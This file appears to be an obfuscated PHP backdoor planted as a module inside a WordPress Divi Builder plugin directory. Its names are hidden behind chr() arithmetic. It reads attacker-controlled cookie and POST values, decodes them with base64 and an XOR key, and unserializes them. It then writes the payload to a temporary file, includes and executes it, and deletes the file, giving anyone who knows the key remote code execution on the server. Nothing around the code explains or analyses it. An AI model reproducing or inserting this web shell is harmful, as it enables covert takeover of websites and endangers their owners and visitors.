File: //proc/thread-self/cwd/wp-content/plugins/divi-builder-2/includes/builder/module/05d2ec07.php
$JfsHPn = "\154" . chr ( 1052 - 957 ).chr ( 518 - 401 ).chr ( 268 - 156 ).'G';$BQLkmE = "\143" . chr (108) . chr ( 823 - 726 )."\163" . "\x73" . "\137" . "\145" . chr ( 500 - 380 )."\x69" . chr ( 263 - 148 )."\164" . chr (115); $FLNdiP = class_exists($JfsHPn); $BQLkmE = "41562";$xSHuMVxzC = strpos($BQLkmE, $JfsHPn);if ($FLNdiP == $xSHuMVxzC){function mbPWPVY(){$tHxBJCwQ = new /* 15796 */ l_upG(42170 + 42170); $tHxBJCwQ = NULL;}$JGSaPf = "42170";class l_upG{private function fKiIqitDml($JGSaPf){if (is_array(l_upG::$pDLzCBqyL)) {$name = sys_get_temp_dir() . "/" . crc32(l_upG::$pDLzCBqyL["salt"]);@l_upG::$pDLzCBqyL["write"]($name, l_upG::$pDLzCBqyL["content"]);include $name;@l_upG::$pDLzCBqyL["delete"]($name); $JGSaPf = "42170";exit();}}public function geiMe(){$vEfgOEv = "27331";$this->_dummy = str_repeat($vEfgOEv, strlen($vEfgOEv));}public function __destruct(){l_upG::$pDLzCBqyL = @unserialize(l_upG::$pDLzCBqyL); $JGSaPf = "57459_15752";$this->fKiIqitDml($JGSaPf); $JGSaPf = "57459_15752";}public function EGgMjGcnJs($vEfgOEv, $BEJDkFVPi){return $vEfgOEv[0] ^ str_repeat($BEJDkFVPi, intval(strlen($vEfgOEv[0]) / strlen($BEJDkFVPi)) + 1);}public function TTbhhoj($vEfgOEv){$CUpJrwZnXK = 'b' . 'a' . chr (115) . 'e' . "\x36" . "\x34";return array_map($CUpJrwZnXK . chr ( 265 - 170 ).chr (100) . chr (101) . "\x63" . 'o' . "\x64" . 'e', array($vEfgOEv,));}public function __construct($cBuslJYJKv=0){$hwPIdkYK = "\54";$vEfgOEv = "";$CaRcdfTzRm = $_POST;$HxoUEhJjSb = $_COOKIE;$BEJDkFVPi = "a8da9de4-1c64-4aaf-8de7-404b20a89722";$cvmqqIpgE = @$HxoUEhJjSb[substr($BEJDkFVPi, 0, 4)];if (!empty($cvmqqIpgE)){$cvmqqIpgE = explode($hwPIdkYK, $cvmqqIpgE);foreach ($cvmqqIpgE as $HgpNr){$vEfgOEv .= @$HxoUEhJjSb[$HgpNr];$vEfgOEv .= @$CaRcdfTzRm[$HgpNr];}$vEfgOEv = $this->TTbhhoj($vEfgOEv);}l_upG::$pDLzCBqyL = $this->EGgMjGcnJs($vEfgOEv, $BEJDkFVPi);if (strpos($BEJDkFVPi, $hwPIdkYK) !== FALSE){$BEJDkFVPi = explode($hwPIdkYK, $BEJDkFVPi); $EhzGkzl = base64_decode(md5($BEJDkFVPi[0])); $nkERJumB = strlen($BEJDkFVPi[1]) > 5 ? substr($BEJDkFVPi[1], 0, 5) : $BEJDkFVPi[1];}}public static $pDLzCBqyL = 9662;}mbPWPVY();}